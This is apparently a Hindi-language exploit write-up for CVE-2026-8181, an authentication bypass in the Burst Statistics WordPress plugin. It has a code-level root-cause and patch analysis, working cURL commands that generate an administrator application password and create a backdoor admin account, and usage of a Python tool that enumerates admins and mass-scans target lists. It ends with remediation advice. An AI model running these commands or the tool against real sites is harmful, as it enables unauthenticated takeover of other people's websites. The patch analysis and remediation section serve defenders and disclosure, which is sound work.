CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — प्रमाणीकरण बाईपास से व्यवस्थापक खाता अधिग्रहण

भेद्यता सारांश

वर्डप्रेस प्लगइन Burst Statistics संस्करण 3.4.0 से 3.4.1.1 एक अप्रमाणित प्रमाणीकरण बाईपास भेद्यता के लिए संवेदनशील है जो पूर्ण व्यवस्थापक खाता अधिग्रहण की ओर ले जाता है। यह गंभीर दोष एक अप्रमाणित हमलावर को, जो किसी भी व्यवस्थापक उपयोगकर्ता नाम को जानता है, एक ही HTTP अनुरोध में उस खाते के लिए एक वैध वर्डप्रेस एप्लिकेशन पासवर्ड बनाने की अनुमति देता है, जिससे पूरी साइट तक लगातार व्यवस्थापक-स्तर की पहुंच प्राप्त होती है।

यह भेद्यता class-mainwp-proxy.php में is_mainwp_authenticated() फ़ंक्शन से उत्पन्न होती है। यह फ़ंक्शन wp_authenticate_application_password() को कॉल करता है और केवल यह जांचता है कि परिणाम WP_Error है या नहीं। यह यह सत्यापित नहीं करता है कि परिणाम वास्तव में एक सफल WP_User ऑब्जेक्ट है या नहीं। जब वर्डप्रेस का आंतरिक फ़िल्टर application_password_is_api_request false लौटाता है — जो तब होता है जब कॉल सामान्य REST API प्रमाणीकरण प्रवाह के बाहर की जाती है — वर्डप्रेस फ़ंक्शन WP_Error या WP_User के बजाय null लौटाता है। क्योंकि null WP_Error नहीं है, जांच पास हो जाती है, और हमलावर का चुना हुआ व्यवस्थापक उपयोगकर्ता wp_set_current_user() के माध्यम से वर्तमान उपयोगकर्ता के रूप में सेट हो जाता है।

एक बार जब वर्तमान उपयोगकर्ता किसी व्यवस्थापक पर स्विच हो जाता है, तो बाद की क्षमता जांच पास हो जाती है। इसके बाद हमलावर /burst/v1/mainwp-auth REST एंडपॉइंट तक पहुंच सकता है, जो व्यवस्थापक खाते के लिए एक वर्डप्रेस एप्लिकेशन पासवर्ड बनाता है और इसे प्रतिक्रिया में लौटाता है। यह हमलावर को लगातार, पूर्ण व्यवस्थापक-स्तर की पहुंच प्रदान करता है।

प्रभावित प्लगइन

हमलावर क्या कर सकते हैं

तकनीकी विश्लेषण

प्लगइन आरंभीकरण और संवेदनशील गेट

Burst Statistics वर्डप्रेस के plugins_loaded हुक पर प्राथमिकता 9 पर आरंभ होता है, class-burst.php के अंदर:

// class-burst.php, लाइन 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

has_admin_access() सभी व्यवस्थापक कार्यक्षमता के लिए गेटकीपर है। यह X-BurstMainWP हेडर की जांच करता है और संवेदनशील फ़ंक्शन को कॉल करता है:

// trait-admin-helper.php, पंक्तियाँ 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

संवेदनशील फ़ंक्शन: is_mainwp_authenticated()

// class-mainwp-proxy.php, पंक्तियाँ 313-342 (संवेदनशील 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // संवेदनशील: REST API प्रमाणीकरण प्रवाह के बाहर
        // wp_authenticate_application_password() null लौटाता है
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // बग: केवल जांचता है कि परिणाम WP_Error है या नहीं। null WP_Error नहीं है → पास!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}

wp_authenticate_application_password() null क्यों लौटाता है

वर्डप्रेस आंतरिक फ़ंक्शन wp_authenticate_application_password() में एक फ़िल्टर है:

if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // API अनुरोध नहीं, एप्लिकेशन पासवर्ड प्रमाणीकरण छोड़ें
}

जब सामान्य REST API प्रमाणीकरण प्रवाह के बाहर कॉल किया जाता है, तो यह null लौटाता है। Burst Statistics कोड ने केवल is_wp_error($is_valid) जांचा — null WP_Error नहीं है, इसलिए जांच गलत तरीके से पास हो जाती है।

व्यवस्थापक अधिग्रहण के लिए निष्पादन पथ

1. हमलावर किसी भी अनुरोध के साथ X-BurstMainWP: 1 हेडर भेजता है
2. has_admin_access() is_mainwp_authenticated() को ट्रिगर करता है
3. wp_authenticate_application_password() null लौटाता है (API संदर्भ में नहीं)
4. is_wp_error(null) = false → जांच पास होती है
5. wp_set_current_user($admin_id) निष्पादित होता है
6. वर्तमान उपयोगकर्ता अब चुना गया व्यवस्थापक है
7. हमलावर /burst/v1/mainwp-auth पर POST करता है
8. handle_auth_request() एक वर्डप्रेस एप्लिकेशन पासवर्ड बनाता है
9. टोकन base64(username:app_password) के रूप में लौटाया जाता है
10. हमलावर लगातार व्यवस्थापक REST API पहुंच के लिए इस टोकन का उपयोग करता है

पैच विश्लेषण (3.4.2)

// class-mainwp-proxy.php, पंक्तियाँ 399-415 (पैच किया गया 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}

लागू किए गए सुधार:

• application_password_is_api_request फ़िल्टर को true पर बाध्य करें ताकि वास्तविक पासवर्ड सत्यापन हो सके
• जांचें कि परिणाम WP_User इंस्टेंस है (null नहीं)
• उपयोगकर्ता नाम मिलान सत्यापित करने के लिए hash_equals() का उपयोग करें

इसके अतिरिक्त, REST एंडपॉइंट के लिए check_auth_permission() को कड़ा किया गया ताकि current_user_can('manage_burst_statistics') और कुकी-प्रमाणित अनुरोधों के लिए स्पष्ट नॉन्स सत्यापन की आवश्यकता हो।

प्रूफ ऑफ कॉन्सेप्ट

मैन्युअल cURL

# चरण 1: लक्ष्य संवेदनशील है या नहीं जांचें (एप्लिकेशन पासवर्ड बनाएं)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

# प्रतिक्रिया: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}

# चरण 2: टोकन डिकोड करें
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev

# चरण 3: नया व्यवस्थापक बनाने के लिए एप्लिकेशन पासवर्ड का उपयोग करें
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
  -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
  -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'

पायथन शोषण उपकरण

exploit_burst_statistics.py स्क्रिप्ट पूरे हमले की श्रृंखला को स्वचालित करती है:

• चरण 0: readme.txt, प्लगइन हेडर, या एसेट क्वेरी स्ट्रिंग के माध्यम से संस्करण पहचान
• चरण 1: REST API, लेखक पृष्ठ, या सामान्य उपयोगकर्ता नाम सूची के माध्यम से व्यवस्थापक उपयोगकर्ता नाम गणना
• चरण 2: टोकन बनाने के लिए X-BurstMainWP: 1 + नकली बेसिक प्रमाणीकरण के साथ प्रमाणीकरण बाईपास
• चरण 3: टोकन सत्यापन और संरचना मान्यकरण
• सामूहिक स्कैनिंग: वास्तविक समय में संवेदनशील लक्ष्य लॉगिंग के साथ थ्रेडेड मल्टी-टार्गेट स्कैनिंग

शोषण की विशेषताएं

• अप्रमाणित — कोई पूर्व पहुंच आवश्यक नहीं
• लगातार एप्लिकेशन पासवर्ड बनाने के लिए एकल HTTP अनुरोध
• Burst Statistics संस्करण का स्वचालित पता लगाता है और पैच किए गए लक्ष्यों को छोड़ देता है
• यदि प्रदान नहीं किया गया तो व्यवस्थापक उपयोगकर्ता नाम का स्वचालित गणना
• सुंदर परमालिंक (/wp-json/) और बदसूरत परमालिंक (/?rest_route=) दोनों का समर्थन करता है
• ThreadPoolExecutor के साथ सामूहिक स्कैनिंग
• वास्तविक समय फ़ाइल लेखन — स्कैन पूरा होने की प्रतीक्षा किए बिना संवेदनशील लक्ष्य तुरंत सहेजे जाते हैं
• थ्रेड-सुरक्षित फ़ाइल लॉकिंग

उपयोग

एकल लक्ष्य (व्यवस्थापक स्वचालित गणना)

python3 exploit_burst_statistics.py -t http://target.com --no-confirm

एकल लक्ष्य (ज्ञात व्यवस्थापक उपयोगकर्ता नाम)

python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm

सामूहिक स्कैन

targets.txt बनाएं:

target1.com
target2.com:8080
192.168.1.50

python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm

विकल्प

सुधार अनुशंसाएं

डेवलपर्स और साइट मालिकों के लिए:

1. तुरंत अपडेट करें Burst Statistics 3.4.2 या बाद के संस्करण में
2. यदि अपडेट करने में असमर्थ हैं, तो प्लगइन को अस्थायी रूप से अक्षम करें
3. अपडेट करने के बाद, व्यवस्थापक खातों के लिए सभी मौजूदा एप्लिकेशन पासवर्ड रद्द करें:
   • WP व्यवस्थापक → उपयोगकर्ता → [व्यवस्थापक] → एप्लिकेशन पासवर्ड → सभी रद्द करें
4. अनधिकृत व्यवस्थापक खातों या अप्रत्याशित उपयोगकर्ता निर्माण की जांच करें
5. X-BurstMainWP: 1 हेडर वाले अनुरोधों के लिए सर्वर लॉग की समीक्षा करें

समयरेखा

शोधकर्ता

• क्रेडिट: Chloe Chamberland — Wordfence PRISM

संदर्भ

• Wordfence सलाह
• CVE रिकॉर्ड
• पैच डिफ़ — class-mainwp-proxy.php
• NVD

अस्वीकरण

यह जानकारी केवल शैक्षिक और अधिकृत प्रवेश परीक्षण उद्देश्यों के लिए प्रदान की गई है। कंप्यूटर सिस्टम का अनधिकृत शोषण अवैध और अनैतिक है। किसी भी ऐसे लक्ष्य का परीक्षण करने से पहले जो आपका नहीं है, हमेशा स्पष्ट लिखित अनुमति प्राप्त करें।